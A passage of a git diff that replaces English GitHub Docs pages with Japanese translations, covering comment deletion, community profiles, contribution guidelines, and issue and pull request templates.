+リポジトリに対する書き込み権限があるユーザは、Issue、プルリクエスト、 およびコミットに対するコメントを削除することができます。 Organization オーナー、チームメンテナ、コメント作成者は、チームのページのコメントを削除することもできます。
 
-Deleting a comment is your last resort as a moderator. It's appropriate to delete a comment if the entire comment adds no constructive content to a conversation and violates your community's code of conduct{% ifversion fpt or ghec %} or GitHub's [Community Guidelines](/free-pro-team@latest/github/site-policy/github-community-guidelines){% endif %}.
+コメントの削除は、モデレーターとしての最終手段です。 コメント全体が会話にとって建設的な内容ではない場合や、コミュニティの行動規範{% ifversion fpt or ghec %}または GitHub の[コミュニティ ガイドライン](/free-pro-team@latest/github/site-policy/github-community-guidelines){% endif %}に違反している場合は、コメントを削除するのが妥当です。
 
-Deleting a comment creates a timeline event that is visible to anyone with read access to the repository. However, the username of the person who deleted the comment is only visible to people with write access to the repository. For anyone without write access, the timeline event is anonymized.
+コメントを削除すると、リポジトリに対する読み取りアクセスを持つユーザなら誰でも見ることのできるタイムラインイベントが作成されます。 ただし、コメントを削除したユーザの名前は、リポジトリへの書き込みアクセスを持つユーザにしか見えません。 書き込みアクセスを持たないユーザから見ると、タイムラインイベントは匿名化されています。
 
-![Anonymized timeline event for a deleted comment](/assets/images/help/issues/anonymized-timeline-entry-for-deleted-comment.png)
+![削除したコメントについて匿名化されたタイムラインイベント](/assets/images/help/issues/anonymized-timeline-entry-for-deleted-comment.png)
 
-If a comment contains some constructive content that adds to the conversation in the issue or pull request, you can edit the comment instead.
+Issue やプルリクエストで、会話に役立つ建設的な内容が部分的に含まれているコメントは、削除せず編集してください。
 
 {% note %}
 
-**Note:** The initial comment (or body) of an issue or pull request can't be deleted. Instead, you can edit issue and pull request bodies to remove unwanted content.
+**メモ:** Issue またはプルリクエストの最初のコメント (本文) は削除できません。 かわりに、Issue やプルリクエストの本文を編集して、不要な内容を削除してください。
 
 {% endnote %}
 
-1. Navigate to the comment you'd like to delete.
-2. In the upper-right corner of the comment, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Delete**.
-  ![The horizontal kebab icon and comment moderation menu showing the edit, hide, delete, and report options](/assets/images/help/repository/comment-menu.png)
-3. Optionally, write a comment noting that you deleted a comment and why.
+1. 削除したいコメントに移動します。
+2. コメントの右上隅にある {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} をクリックしてから、[**Delete**] をクリックします。 ![編集、非表示、削除、レポートのオプションが表示されている水平の kebab アイコンとコメント モデレーション メニュー](/assets/images/help/repository/comment-menu.png)
+3. オプションで、コメントを削除したことを示すコメントとその理由を入力します。
diff --git a/translations/ja-JP/content/communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories.md b/translations/ja-JP/content/communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories.md
index e0cecf6b62..aa9b4c174d 100644
--- a/translations/ja-JP/content/communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories.md
+++ b/translations/ja-JP/content/communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories.md
@@ -1,6 +1,6 @@
 ---
-title: About community profiles for public repositories
-intro: Repository maintainers can review their public repository's community profile to learn how they can help grow their community and support contributors. Contributors can view a public repository's community profile to see if they want to contribute to the project.
+title: パブリックリポジトリのコミュニティプロフィールについて
+intro: リポジトリメンテナは、コミュニティの成長を支援し、コントリビューターをサポートする方法を学ぶために、パブリックリポジトリのコミュニティプロフィールをレビューできます。 コントリビューターは、プロジェクトにコントリビュートしたいかを知るために、パブリックリポジトリのコミュニティプロフィールを見ることができます。
 redirect_from:
   - /articles/viewing-your-community-profile
   - /articles/about-community-profiles-for-public-repositories
@@ -10,36 +10,36 @@ versions:
   ghec: '*'
 topics:
   - Community
-shortTitle: Community profiles
+shortTitle: コミュニティプロフィール
 ---
 
-The community profile checklist checks to see if a project includes recommended community health files, such as README, CODE_OF_CONDUCT, LICENSE, or CONTRIBUTING, in a supported location. For more information, see "[Accessing a project's community profile](/articles/accessing-a-project-s-community-profile)."
+コミュニティプロフィールチェックリストは、README、CODE_OF_CONDUCT、LICENSE、CONTRIBUTING といった推奨されるコミュニティ健全性ファイル群が、サポートされている場所でプロジェクトに含まれているかをチェックします。 詳しい情報については[プロジェクトのコミュニティプロフィールへのアクセス](/articles/accessing-a-project-s-community-profile)を参照してください。
 
-## Using the community profile checklist as a repository maintainer
+## リポジトリメンテナとしてのコミュニティプロフィールチェックリストの利用
 
-As a repository maintainer, use the community profile checklist to see if your project meets the recommended community standards to help people use and contribute to your project. For more information, see "[Building community](https://opensource.guide/building-community/)" in the Open Source Guides.
+リポジトリメンテナとして、人々がプロジェクトを使い、コントリビュートするのを助けるための推奨されるコミュニティ標準をプロジェクトが満たしているかを確認するために、コミュニティプロフィールチェックリストを使ってください。 詳しい情報についてはOpen Source Guides中の[コミュニティの構築](https://opensource.guide/building-community/)を参照してください。
 
-If a project doesn't have a recommended file, you can click **Add** to draft and submit a file.
+プロジェクトが持っていない推奨されているファイルがあるなら、**Add（追加）**をクリックしてファイルのドラフトを作成し、サブミットしてください。
 
-{% data reusables.repositories.valid-community-issues %} For more information, see "[About issue and pull request templates](/articles/about-issue-and-pull-request-templates)."
+{% data reusables.repositories.valid-community-issues %}詳細は「[Issue およびプルリクエストのテンプレートについて](/articles/about-issue-and-pull-request-templates)」を参照してください。
 
-![Community profile checklist with recommended community standards for maintainers](/assets/images/help/repository/add-button-community-profile.png)
+![メンテナのための推奨されるコミュニティ標準を持つコミュニティプロフィールチェックリスト](/assets/images/help/repository/add-button-community-profile.png)
 
 {% data reusables.repositories.security-guidelines %}
 
-## Using the community profile checklist as a community member or collaborator
+## コミュニティメンバーあるいはコラボレータとしてのコミュニティプロフィールチェックリストの利用
 
-As a potential contributor, use the community profile checklist to see if a project meets the recommended community standards and decide if you'd like to contribute. For more information, see "[How to contribute](https://opensource.guide/how-to-contribute/#anatomy-of-an-open-source-project)" in the Open Source Guides.
+コントリビューターになりたい場合は、コミュニティプロフィールチェックリストで、参加したいプロジェクトが推奨されるコミュニティ基準を満たしているかを確認してから、コントリビュートするかを決めてください。 詳しい情報については、Open Source Guides の「[コントリビュートの方法](https://opensource.guide/how-to-contribute/#anatomy-of-an-open-source-project)」を参照してください。
 
-If a project doesn't have a recommended file, you can click **Propose** to draft and submit a file to the repository maintainer for approval.
+プロジェクトに推奨されているファイルがないなら、**[Propose]** をクリックし、ファイルのドラフトを作成してから、そのファイルをサブミットしてリポジトリメンテナに承認を仰ぐことができます。
 
-![Community profile checklist with recommended community standards for contributors](/assets/images/help/repository/propose-button-community-profile.png)
+![コントリビューターのための推奨されるコミュニティ標準を持つコミュニティプロフィールチェックリスト](/assets/images/help/repository/propose-button-community-profile.png)
 
-## Further reading
+## 参考リンク
 
-- "[Adding a code of conduct to your project](/articles/adding-a-code-of-conduct-to-your-project)"
-- "[Setting guidelines for repository contributors](/articles/setting-guidelines-for-repository-contributors)"
-- "[Adding a license to a repository](/articles/adding-a-license-to-a-repository)"
-- "[About issue and pull request templates](/articles/about-issue-and-pull-request-templates)"
+- [プロジェクトへの行動規範の追加](/articles/adding-a-code-of-conduct-to-your-project)
+- [リポジトリコントリビューターのためのガイドラインを定める](/articles/setting-guidelines-for-repository-contributors)
+- [リポジトリへのライセンスの追加](/articles/adding-a-license-to-a-repository)
+- [Issueとプルリクエストのテンプレートについて](/articles/about-issue-and-pull-request-templates)
 - "[Open Source Guides](https://opensource.guide/)"
 - [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %})
diff --git a/translations/ja-JP/content/communities/setting-up-your-project-for-healthy-contributions/index.md b/translations/ja-JP/content/communities/setting-up-your-project-for-healthy-contributions/index.md
index f732f0c105..fe7e31b8de 100644
--- a/translations/ja-JP/content/communities/setting-up-your-project-for-healthy-contributions/index.md
+++ b/translations/ja-JP/content/communities/setting-up-your-project-for-healthy-contributions/index.md
@@ -1,7 +1,7 @@
 ---
-title: Setting up your project for healthy contributions
-shortTitle: Healthy contributions
-intro: 'Repository maintainers can set contributing guidelines to help collaborators make meaningful, useful contributions to a project.'
+title: 健全なコントリビューションを促すプロジェクトをセットアップする
+shortTitle: 健全なコントリビューション
+intro: リポジトリメンテナは、コントリビューションガイドラインを設定することで、コントリビュータがプロジェクトに対して意味のある有益なコントリビューションを行うことに役立ちます。
 redirect_from:
   - /articles/helping-people-contribute-to-your-project
   - /articles/setting-up-your-project-for-healthy-contributions
diff --git a/translations/ja-JP/content/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors.md b/translations/ja-JP/content/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors.md
index c5bb1df6a6..277baee63e 100644
--- a/translations/ja-JP/content/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors.md
+++ b/translations/ja-JP/content/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors.md
@@ -1,6 +1,6 @@
 ---
-title: Setting guidelines for repository contributors
-intro: You can create guidelines to communicate how people should contribute to your project.
+title: リポジトリコントリビューターのためのガイドラインを定める
+intro: プロジェクトに人々がどのようにコントリビュートするべきかを伝えるガイドラインを作成できます。
 versions:
   fpt: '*'
   ghes: '*'
@@ -12,57 +12,57 @@ redirect_from:
   - /github/building-a-strong-community/setting-guidelines-for-repository-contributors
 topics:
   - Community
-shortTitle: Contributor guidelines
+shortTitle: コントリビューターのガイドライン
 ---
-## About contributing guidelines
-To help your project contributors do good work, you can add a file with contribution guidelines to your project repository's root, `docs`, or `.github` folder. When someone opens a pull request or creates an issue, they will see a link to that file. The link to the contributing guidelines also appears on your repository's `contribute` page. For an example of a `contribute` page, see [github/docs/contribute](https://github.com/github/docs/contribute). 
+
+## コントリビューションガイドラインについて
+プロジェクトコントリビューターにうまく作業してもらうために、プロジェクトリポジトリのルート、`docs` または `.github` フォルダに、コントリビューションガイドラインについてのファイルを追加できます。 プルリクエストをオープンした場合や Issue を作成した場合、そのファイルへのリンクが表示されます。 コントリビューションガイドラインへのリンクは、リポジトリの `contribute` ページにも表示されます。 `contribute`ページの例については[github/docs/contribute](https://github.com/github/docs/contribute)を参照してください。
 
 ![contributing-guidelines](/assets/images/help/pull_requests/contributing-guidelines.png)
 
-For the repository owner, contribution guidelines are a way to communicate how people should contribute.
+リポジトリのオーナーにとって、コントリビューションガイドラインとは、人々がどのようにコントリビュートするべきかを伝える方法です。
 
-For contributors, the guidelines help them verify that they're submitting well-formed pull requests and opening useful issues.
+コントリビューターにとって、このガイドラインは、上手に構築されたプルリクエストの提出をしたり、有益な Issue をオープンすることの確認に役立ちます。
 
-For both owners and contributors, contribution guidelines save time and hassle caused by improperly created pull requests or issues that have to be rejected and re-submitted.
+オーナーおよびコントリビューターの双方にとって、コントリビューションガイドラインは、プルリクエストや Issue のリジェクトや再提出の手間を未然に軽減するための有効な手段です。
 
 {% ifversion fpt or ghes or ghec %}
 
-You can create default contribution guidelines for your organization{% ifversion fpt or ghes or ghec %} or user account{% endif %}. For more information, see "[Creating a default community health file](//communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)."
+Organization {% ifversion fpt or ghes or ghec %}またはユーザアカウント{% endif %}用のデフォルトのコントリビューションガイドラインを作成できます。 詳しい情報については「[デフォルトのコミュニティ健全性ファイルを作成する](//communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)」を参照してください。
 
 {% endif %}
 
 {% tip %}
 
-**Tip:** Repository maintainers can set specific guidelines for issues by creating an issue or pull request template for the repository. For more information, see "[About issue and pull request templates](/articles/about-issue-and-pull-request-templates)."
+**ヒント:** リポジトリメンテナは、リポジトリの Issue やプルリクエストのテンプレートを作成することで、Issue についての特定のガイドラインを定めることができます。 詳しい情報については[Issue およびPull Requestのテンプレートについて](/articles/about-issue-and-pull-request-templates)を参照してください。
 
 {% endtip %}
 
-## Adding a *CONTRIBUTING* file
+## *CONTRIBUTING* ファイルの追加
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.files.add-file %}
-3. Decide whether to store your contributing guidelines in your repository's root, `docs`, or `.github` directory. Then, in the filename field, type the name and extension for the file. Contributing guidelines filenames are not case sensitive. Files are rendered in rich text format if the file extension is in a supported format. For more information, see "[Working with non-code files](/repositories/working-with-files/using-files/working-with-non-code-files#rendering-differences-in-prose-documents)."
-  ![New file name](/assets/images/help/repository/new-file-name.png)
-    - To make your contributing guidelines visible in the repository's root directory, type *CONTRIBUTING*.
-    - To make your contributing guidelines visible in the repository's `docs` directory, type *docs/* to create the new directory, then *CONTRIBUTING*.
-    - If a repository contains more than one *CONTRIBUTING* file, then the file shown in links is chosen from locations in the following order: the `.github` directory, then the repository's root directory, and finally the `docs` directory.
-4. In the new file, add contribution guidelines. These could include:
-    - Steps for creating good issues or pull requests.
-    - Links to external documentation, mailing lists, or a code of conduct.
-    - Community and behavioral expectations.
+3. コントリビューションガイドラインを、リポジトリの root、`docs`、または `.github` ディレクトリに保管するかどうかを決めます。 そして、ファイル名のフィールドに、ファイルの名前および拡張子を入力します。 コントリビューションガイドラインのファイル名では大文字と小文字は区別されません。 サポートされているファイル拡張子の場合、ファイルはリッチテキスト形式でレンダリングされます。 For more information, see "[Working with non-code files](/repositories/working-with-files/using-files/working-with-non-code-files#rendering-differences-in-prose-documents)." ![新しいファイルの名前](/assets/images/help/repository/new-file-name.png)
+    - リポジトリのルートディレクトリでコントリビューションガイドラインを表示するには、*CONTRIBUTING* と入力します。
+    - リポジトリの `docs` ディレクトリにコントリビューションガイドラインを表示するには、*docs/* と入力して新しいディレクトリを作成し、次に *CONTRIBUTING* と入力します。
+    - リポジトリに複数の *CONTRIBUTING* ファイルが含まれている場合、リンクに表示されるファイルは、`.github` ディレクトリ、リポジトリのルートディレクトリ、最後に `docs` ディレクトリの順に選択されます。
+4. 新しいファイルに、コントリビューションガイドラインを追加します。 このガイドラインには、次のことを含めましょう:
+    - 有意義な Issue やプルリクエストの作成手順
+    - - 外部ドキュメント、メーリングリストや行動規範へのリンク
+    - - コミュニティや行動への期待
 {% data reusables.files.write_commit_message %}
 {% data reusables.files.choose_commit_branch %}
 {% data reusables.files.propose_new_file %}
 
-## Examples of contribution guidelines
+## コントリビューションガイドラインの例
 
-If you're stumped, here are some good examples of contribution guidelines:
+最初は悩むかもしれませんが、以下のコントリビューションガイドラインの例を役立ててください:
 
-- The Atom editor [contribution guidelines](https://github.com/atom/atom/blob/master/CONTRIBUTING.md).
-- The Ruby on Rails [contribution guidelines](https://github.com/rails/rails/blob/master/CONTRIBUTING.md).
-- The Open Government [contribution guidelines](https://github.com/opengovernment/opengovernment/blob/master/CONTRIBUTING.md).
+- Atom エディタ [コントリビューションガイドライン](https://github.com/atom/atom/blob/master/CONTRIBUTING.md)。
+- Ruby on Rails [コントリビューションガイドライン](https://github.com/rails/rails/blob/master/CONTRIBUTING.md).
+- オープンガバメント [コントリビューションガイドライン](https://github.com/opengovernment/opengovernment/blob/master/CONTRIBUTING.md).
 
-## Further reading
-- The Open Source Guides' section "[Starting an Open Source Project](https://opensource.guide/starting-a-project/)"{% ifversion fpt or ghec %}
+## 参考リンク
+- オープンソースガイドのセクション「[オープンソースプロジェクトを始める](https://opensource.guide/starting-a-project/)」{% ifversion fpt or ghec %}
 - [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}){% endif %}{% ifversion fpt or ghes or ghec %}
-- "[Adding a license to a repository](/articles/adding-a-license-to-a-repository)"{% endif %}
+- 「[リポジトリへのライセンスの追加](/articles/adding-a-license-to-a-repository)」{% endif %}
diff --git a/translations/ja-JP/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/creating-a-pull-request-template-for-your-repository.md b/translations/ja-JP/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/creating-a-pull-request-template-for-your-repository.md
index c40fd992d8..44043244b3 100644
--- a/translations/ja-JP/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/creating-a-pull-request-template-for-your-repository.md
+++ b/translations/ja-JP/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/creating-a-pull-request-template-for-your-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a pull request template for your repository
-intro: 'When you add a pull request template to your repository, project contributors will automatically see the template''s contents in the pull request body.'
+title: リポジトリ用のプルリクエストテンプレートの作成
+intro: リポジトリにプルリクエストのテンプレートを追加すると、プロジェクトのコントリビューターはプルリクエストの本体にテンプレートの内容を自動的に見ることになります。
 redirect_from:
   - /articles/creating-a-pull-request-template-for-your-repository
   - /github/building-a-strong-community/creating-a-pull-request-template-for-your-repository
@@ -11,42 +11,38 @@ versions:
   ghec: '*'
 topics:
   - Community
-shortTitle: Create a PR template
+shortTitle: PR テンプレートの作成
 ---
 
-For more information, see "[About issue and pull request templates](/articles/about-issue-and-pull-request-templates)."
+詳しい情報については[Issue およびPull Requestのテンプレートについて](/articles/about-issue-and-pull-request-templates)を参照してください。
 
-You can create a *PULL_REQUEST_TEMPLATE/* subdirectory in any of the supported folders to contain multiple pull request templates, and use the `template` query parameter to specify the template that will fill the pull request body. For more information, see "[About automation for issues and pull requests with query parameters](/articles/about-automation-for-issues-and-pull-requests-with-query-parameters)."
+サポートしているどのフォルダにでも *PULL_REQUEST_TEMPLATE/* サブディレクトリを作成し、プルリクエストテンプレートを複数含めることができます。また、`template` クエリパラメータでプルリクエストの本文に使用するテンプレートを指定できます。 詳細は「[クエリパラメータによる Issue およびプルリクエストの自動化について](/articles/about-automation-for-issues-and-pull-requests-with-query-parameters)」を参照してください。
 
 {% ifversion fpt or ghes or ghec %}
 
-You can create default pull request templates for your organization{% ifversion fpt or ghes or ghec %} or user account{% endif %}. For more information, see "[Creating a default community health file](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)."
+Organization {% ifversion fpt or ghes or ghec %}またはユーザアカウント{% endif %}のデフォルトのプルリクエストテンプレートを作成できます。 詳しい情報については「[デフォルトのコミュニティ健全性ファイルを作成する](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)」を参照してください。
 
 {% endif %}
 
-## Adding a pull request template
+## プルリクエストテンプレートの追加
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.files.add-file %}
-3. In the file name field:
-    -  To make your pull request template visible in the repository's root directory, name the pull request template `pull_request_template.md`.
-  ![New pull request template name in root directory](/assets/images/help/repository/pr-template-file-name.png)
-    - To make your pull request template visible in the repository's `docs` directory, name the pull request template `docs/pull_request_template.md`.
-  ![New pull request template in docs directory](/assets/images/help/repository/pr-template-file-name-docs.png)
-    - To store your file in a hidden directory, name the pull request template `.github/pull_request_template.md`.
-  ![New pull request template in hidden directory](/assets/images/help/repository/pr-template-hidden-directory.png)
-    - To create multiple pull request templates and use the `template` query parameter to specify a template to fill the pull request body, type *.github/PULL_REQUEST_TEMPLATE/*, then the name of your pull request template. For example, `.github/PULL_REQUEST_TEMPLATE/pull_request_template.md`. You can also store multiple pull request templates in a `PULL_REQUEST_TEMPLATE` subdirectory within the root or `docs/` directories. For more information, see "[About automation for issues and pull requests with query parameters](/articles/about-automation-for-issues-and-pull-requests-with-query-parameters)."
-  ![New multiple pull request template in hidden directory](/assets/images/help/repository/pr-template-multiple-hidden-directory.png)
-4. In the body of the new file, add your pull request template. This could include:
-    - A [reference to a related issue](/articles/basic-writing-and-formatting-syntax/#referencing-issues-and-pull-requests) in your repository.
-    - A description of the changes proposed in the pull request.
-    - [@mentions](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams) of the person or team responsible for reviewing proposed changes.
+3. ファイル名フィールドで:
+    -  プルリクエストテンプレートをリポジトリのルートディレクトリで表示するには、プルリクエストテンプレートに `.github/pull_request_template.md` という名前を付けます。 ![ルートディレクトリの新しいプルリクエストテンプレート名](/assets/images/help/repository/pr-template-file-name.png)
+    - プルリクエストテンプレートをリポジトリの `docs` ディレクトリで表示するには、プルリクエストテンプレートに `docs/pull_request_template.md`という名前を付けます。 ![docs ディレクトリの新しいプルリクエストテンプレート](/assets/images/help/repository/pr-template-file-name-docs.png)
+    - ファイルを隠しディレクトリに保存するには、プルリクエストテンプレートに `.github/pull_request_template.md` という名前を付けます。 ![隠しディレクトリの新しいプルリクエストテンプレート](/assets/images/help/repository/pr-template-hidden-directory.png)
+    - プルリクエストテンプレートを複数作成し、`template` クエリパラメータでプルリクエストの本文に使用するテンプレートを指定するには、*.github/PULL_REQUEST_TEMPLATE/* と入力し、続けてプルリクエストテンプレートの名前を入力します。 たとえば、`.github/PULL_REQUEST_TEMPLATE/pull_request_template.md` です。 複数のプルリクエストテンプレートをルートディレクトリや `docs/` ディレクトリにある `PULL_REQUEST_TEMPLATE` サブディレクトリに格納することもできます。 詳細は「[クエリパラメータによる Issue およびプルリクエストの自動化について](/articles/about-automation-for-issues-and-pull-requests-with-query-parameters)」を参照してください。 ![隠しディレクトリの複数の新しいプルリクエストテンプレート](/assets/images/help/repository/pr-template-multiple-hidden-directory.png)
+4. 新しいファイルの本文にプルリクエストテンプレートを追加します。 そこに盛り込むべき項目として、以下のようなものがあります:
+    - リポジトリ内の[関連する Issue への参照](/articles/basic-writing-and-formatting-syntax/#referencing-issues-and-pull-requests)。
+    - プルリクエストで提案された変更の説明。
+    - 提案された変更のレビューを担当する個人やチームの[@メンション](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)。
 {% data reusables.files.write_commit_message %}
-{% data reusables.files.choose_commit_branch %} Templates are available to collaborators when they are merged into the repository's default branch.
+{% data reusables.files.choose_commit_branch %} テンプレートがリポジトリのデフォルトブランチにマージされると、コラボレーターがテンプレートを使用できるようになります。
 {% data reusables.files.propose_new_file %}
 
-## Further reading
+## 参考リンク
 
-- "[About issue and pull request templates](/articles/about-issue-and-pull-request-templates)"
-- "[About automation for issues and pull requests with query parameters](/articles/about-automation-for-issues-and-pull-requests-with-query-parameters)"
-- "[Creating a pull request](/articles/creating-a-pull-request)"
+- [Issueとプルリクエストのテンプレートについて](/articles/about-issue-and-pull-request-templates)
+- 「[クエリパラメータによる Issue およびプルリクエストの自動化について](/articles/about-automation-for-issues-and-pull-requests-with-query-parameters)」
+- [プルリクエストの作成](/articles/creating-a-pull-request)
diff --git a/translations/ja-JP/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/index.md b/translations/ja-JP/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/index.md
index 9974eff8e8..7ea0760829 100644
--- a/translations/ja-JP/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/index.md
+++ b/translations/ja-JP/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/index.md
@@ -1,7 +1,7 @@
 ---
-title: Using templates to encourage useful issues and pull requests
-shortTitle: Issue & PR templates
-intro: Repository maintainers can add templates in a repository to help contributors create high-quality issues and pull requests.
+title: テンプレートを使用して便利な Issue やプルリクエストを推進する
+shortTitle: Issue および PR テンプレート
+intro: リポジトリメンテナは、コントリビューターが質の高い Issue とプルリクエストを作成できるように、リポジトリにテンプレートを追加できます。
 redirect_from:
   - /github/building-a-strong-community/using-issue-and-pull-request-templates
   - /articles/using-templates-to-encourage-high-quality-issues-and-pull-requests-in-your-repository
diff --git a/translations/ja-JP/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/manually-creating-a-single-issue-template-for-your-repository.md b/translations/ja-JP/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/manually-creating-a-single-issue-template-for-your-repository.md
index cbf6716233..049ca3336d 100644
--- a/translations/ja-JP/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/manually-creating-a-single-issue-template-for-your-repository.md
+++ b/translations/ja-JP/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/manually-creating-a-single-issue-template-for-your-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Manually creating a single issue template for your repository
-intro: 'When you add a manually-created issue template to your repository, project contributors will automatically see the template''s contents in the issue body.'
+title: リポジトリ用の単一 Issue テンプレートを手動で作成する
+intro: 手動で作成した Issue テンプレートをリポジトリに追加すると、プロジェクトのコントリビューターは自動的に Issue の本体でテンプレートの内容が見えるようになります。
 redirect_from:
   - /articles/creating-an-issue-template-for-your-repository
   - /articles/manually-creating-a-single-issue-template-for-your-repository
@@ -12,16 +12,16 @@ versions:
   ghec: '*'
 topics:
   - Community
-shortTitle: Create an issue template
+shortTitle: Issue テンプレートの作成
 ---
 
 {% data reusables.repositories.legacy-issue-template-tip %}
 
-You can create an *ISSUE_TEMPLATE/* subdirectory in any of the supported folders to contain multiple issue templates, and use the `template` query parameter to specify the template that will fill the issue body. For more information, see "[About automation for issues and pull requests with query parameters](/articles/about-automation-for-issues-and-pull-requests-with-query-parameters)."
+サポートしているどのフォルダーにでも *ISSUE_TEMPLATE/* サブディレクトリを作成し、Issue テンプレートを複数含めることができます。また、`template` クエリパラメータで Issue の本文に使用するテンプレートを指定できます。 詳細は「[クエリパラメータによる Issue およびプルリクエストの自動化について](/articles/about-automation-for-issues-and-pull-requests-with-query-parameters)」を参照してください。
 
-You can add YAML frontmatter to each issue template to pre-fill the issue title, automatically add labels and assignees, and give the template a name and description that will be shown in the template chooser that people see when creating a new issue in your repository.
+YAML frontmatter を各 Issue テンプレートに追加して、Issue のタイトルを事前に入力したり、ラベルおよびアサインされた人を自動追加したり、リポジトリに新しい Issue を作成するときに表示されるテンプレート選択画面に表示されるテンプレートの名前と説明を指定したりすることができます。
 
-Here is example YAML front matter.
+YAML front matter の例は次のとおりです。
 
 ```yaml
 ---
@@ -34,7 +34,7 @@ assignees: octocat
 ```
 {% note %}
 
-**Note:** If a front matter value includes a YAML-reserved character such as `:` , you must put the whole value in quotes. For example, `":bug: Bug"` or `":new: triage needed, :bug: bug"`.
+**注釈:** フロントマター値に `:` などの YAML特殊文字が含まれている場合は、値全体を引用符で囲む必要があります。 たとえば、`":bug: Bug"` または `":new: triage needed, :bug: bug"` などです。
 
 {% endnote %}
 
@@ -50,31 +50,27 @@ assignees: octocat
 
 {% endif %}
 
-## Adding an issue template
+## Issue テンプレートを追加する
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.files.add-file %}
-3. In the file name field:
-    -  To make your issue template visible in the repository's root directory, type the name of your *issue_template*. For example, `issue_template.md`.
-  ![New issue template name in root directory](/assets/images/help/repository/issue-template-file-name.png)
-    - To make your issue template visible in the repository's `docs` directory, type *docs/* followed by the name of your *issue_template*. For example, `docs/issue_template.md`,
-  ![New issue template in docs directory](/assets/images/help/repository/issue-template-file-name-docs.png)
-    - To store your file in a hidden directory, type *.github/* followed by the name of your *issue_template*. For example, `.github/issue_template.md`.
-  ![New issue template in hidden directory](/assets/images/help/repository/issue-template-hidden-directory.png)
-    - To create multiple issue templates and use the `template` query parameter to specify a template to fill the issue body, type *.github/ISSUE_TEMPLATE/*, then the name of your issue template. For example, `.github/ISSUE_TEMPLATE/issue_template.md`. You can also store multiple issue templates in an `ISSUE_TEMPLATE` subdirectory within the root or `docs/` directories. For more information, see "[About automation for issues and pull requests with query parameters](/articles/about-automation-for-issues-and-pull-requests-with-query-parameters)."
-  ![New multiple issue template in hidden directory](/assets/images/help/repository/issue-template-multiple-hidden-directory.png)
-4. In the body of the new file, add your issue template. This could include:
+3. ファイル名フィールドで:
+    -  Issue テンプレートをリポジトリのルートディレクトリで表示するには、*issue_template* の名前を入力します。 たとえば、`issue_template.md` です。 ![ルートディレクトリの新しい Issue テンプレート名](/assets/images/help/repository/issue-template-file-name.png)
+    - リポジトリの `docs` ディレクトリに Issue テンプレートを表示するには、*docs/* に続けて *issue_template* の名前を入力します。 たとえば、`docs/issue_template.md` です。 ![docs ディレクトリの新しい Issue テンプレート](/assets/images/help/repository/issue-template-file-name-docs.png)
+    - ファイルを隠しディレクトリに格納するには、*.github/* と入力し、続いて *issue_template* という名前を入力します。 たとえば、`.github/issue_template.md` です。 ![隠しディレクトリの新しい Issue テンプレート](/assets/images/help/repository/issue-template-hidden-directory.png)
+    - 複数 Issue テンプレートを作成し、`template` クエリパラメータを使用して Issue の本文に使用するテンプレートを指定するには、*.github/ISSUE_TEMPLATE/* と入力し、続けて Issue テンプレートの名前を入力します。 たとえば、`.github/ISSUE_TEMPLATE/issue_template.md` です。 複数 Issue テンプレートをルートディレクトリや `docs/` ディレクトリにある `ISSUE_TEMPLATE` サブディレクトリに格納することもできます。 詳細は「[クエリパラメータによる Issue およびプルリクエストの自動化について](/articles/about-automation-for-issues-and-pull-requests-with-query-parameters)」を参照してください。 ![隠しディレクトリの新しい複数 Issue テンプレート](/assets/images/help/repository/issue-template-multiple-hidden-directory.png)
+4. 新しいファイルの本文に Issue テンプレートを追加します。 そこに盛り込むべき項目として、以下のようなものがあります:
     - YAML frontmatter
-    - Expected behavior and actual behavior
-    - Steps to reproduce the problem
-    - Specifications like the version of the project, operating system, or hardware
+    - 予測される動作と実際の動作
+    - 問題の再現手順
+    - プロジェクトのベンダー、オペレーティング システム、ハードウェアなどの仕様
 {% data reusables.files.write_commit_message %}
-{% data reusables.files.choose_commit_branch %} Templates are available to collaborators when they are merged into the repository's default branch.
+{% data reusables.files.choose_commit_branch %} テンプレートがリポジトリのデフォルトブランチにマージされると、コラボレーターがテンプレートを使用できるようになります。
 {% data reusables.files.propose_new_file %}
 
-## Further reading
+## 参考リンク
 
-- "[About issue and pull request templates](/articles/about-issue-and-pull-request-templates)"
-- "[Configuring issue templates for your repository](/articles/configuring-issue-templates-for-your-repository)"
-- "[About automation for issues and pull requests with query parameters](/articles/about-automation-for-issues-and-pull-requests-with-query-parameters)"
-- "[Creating an issue](/articles/creating-an-issue)"
+- [Issueとプルリクエストのテンプレートについて](/articles/about-issue-and-pull-request-templates)
